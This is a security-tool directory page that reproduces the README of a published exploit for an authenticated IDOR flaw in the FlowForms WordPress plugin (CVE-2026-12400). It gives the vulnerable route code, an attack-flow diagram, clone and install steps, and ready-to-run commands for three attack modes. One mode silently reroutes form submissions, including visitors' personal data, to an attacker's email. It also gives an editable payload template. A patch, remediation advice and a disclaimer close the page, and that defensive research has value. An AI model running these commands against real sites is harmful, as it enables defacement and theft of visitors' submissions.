Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-12400-Exploit — Authenticated WordPress IDOR exploit for CVE-2026-12400; enumerates FlowForms REST form IDs and modifies form content or hijacks email notifications. | Kitploit
Tools/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & Education
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

Authenticated WordPress IDOR exploit for CVE-2026-12400; enumerates FlowForms REST form IDs and modifies form content or hijacks email notifications.

View Repository
132 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-12400 — FlowForms IDOR: Unauthorized Form Modification

Authenticated (Contributor+) Insecure Direct Object Reference to Arbitrary Form Modification in FlowForms ≤ 1.1.1

Vulnerability Overview

PropertyValue
CVE IDCVE-2026-12400
CVSS Score4.3 — Medium
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (Authorization Bypass Through User-Controlled Key)
ProductFlowForms — WordPress Conversational Form Builder Plugin
AffectedAll versions up to and including 1.1.1
Fixed InFixed in 1.1.2
ResearcherPhantom Hat

Technical Analysis

Full white-box case study with source code analysis, input flow tracing, and patch diffing:

📄 CVE-2026-12400 Case Study — Medium

Attack Surface

FlowForms exposes two REST API endpoints under the flowforms/v1 namespace that are vulnerable:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Both accept a user-controlled {id} in the URL path and modify the target form's data — name, content, layout, redirect URL, and email notification recipients.

Root Cause

Both vulnerable route registrations share the same flawed permission_callback:

root@kitploit:~
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts is a capability held by Contributors. The {id} parameter is never checked against the requesting user's ownership — any authenticated user can target any form ID on the site.

Attack Flow

root@kitploit:~
Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Authenticate as Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Harvest REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerate published forms
        │<─ HTTP 200 ───────────────────────│      (any accessible form is a target)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Overwrite form name / content
        │       with attacker payload ─────>│       ← no owner check
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Hijack email notifications
        │       /settings ─────────────────>│       ← attacker receives all
        │<─ { "success": true } ────────────│         future form submissions
        │                                   │
        │   All 3 attack vectors confirmed  │  (5) Name ✔  Content ✔  Email ✔

Three Attack Vectors

ModeEndpointImpact
name/forms/{id}Rename any form — defacement, social engineering
content/forms/{id}Overwrite layout, welcome/thank-you screens, redirect URL
email/forms/{id}/settingsHijack notification email — silently receive all form submissions

The email mode is the most critical. After hijacking, every submission to the victim's contact form — including visitor PII, messages, and contact details — is silently forwarded to the attacker-controlled address. The site administrator sees no indication of the change.


Exploit Usage

Prerequisites

  • Python 3.8+
  • An authenticated account with at least Contributor role on the target site

Installation

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Modes of Operation

Name Modification

Rename any form to attacker-controlled content:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

Content Modification

Overwrite form layout, screens, redirect URL, and background images:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

Email Notification Hijack (Highest Impact)

Redirect all future form submission notifications to an attacker-controlled address:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

With Proxy (Burp Suite)

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Full Flag Reference

FlagShortDescriptionRequired
--url-uTarget WordPress URL✅
--userWordPress username (Contributor+)✅
--passwordWordPress password✅
--id-start-iStarting form ID for enumeration✅
--num-forms-nNumber of form IDs to enumerate✅
--exploitAttack mode: name / content / email✅
--proxy-pProxy URL (e.g. http://127.0.0.1:8080)❌

Customising Payloads

The JSON payload templates (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) are defined at the top of the script. Edit them before running to customise the attack content — change the notification email address, redirect URL, background image, form title, etc.

root@kitploit:~
# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← change this
                    ...
                }
            }
        }
    }
}""")

Exploitation Workflow

The exploit performs three automated steps:

Step 1 — Authenticate Logs in as the attacker (Contributor) and harvests a valid REST API nonce from wp-admin/post-new.php.

Step 2 — Enumerate Forms Scans GET /flowform/{id} across the specified ID range. IDs returning HTTP 200 are collected as accessible targets — these are published forms belonging to any user on the site, including administrators.

Step 3 — Exploit Depending on the selected mode, sends the corresponding payload to the unprotected REST endpoint:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

The server accepts the request and applies the modification with no ownership check.


Remediation

ActionDetails
PatchReplace the generic edit_posts check with current_user_can('edit_post', $form_id) on both endpoints — binding the capability check to the specific post object enforces WordPress ownership rules
MitigateUntil patched, restrict the Contributor and Author roles if the plugin is active

Secure Implementation

root@kitploit:~
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

References

  • CWE-639 — Authorization Bypass Through User-Controlled Key
  • register_rest_route() — WordPress Developer Docs
  • current_user_can() — WordPress Developer Docs
  • FlowForms Plugin — WordPress.org

Project Structure

root@kitploit:~
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Polished exploit with rich UI (3 modes)
├── requirements.txt            # Python dependencies
└── README.md                   # This file

Disclaimer

This tool is provided for authorized security testing and educational research purposes only. Unauthorized access to computer systems is illegal under applicable laws worldwide. The author assumes no liability for misuse of this software. Always obtain explicit written permission before testing any system you do not own.


Author

Phantom Hat — Independent Security Researcher

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

This research was conducted as part of responsible vulnerability disclosure.

Download Tool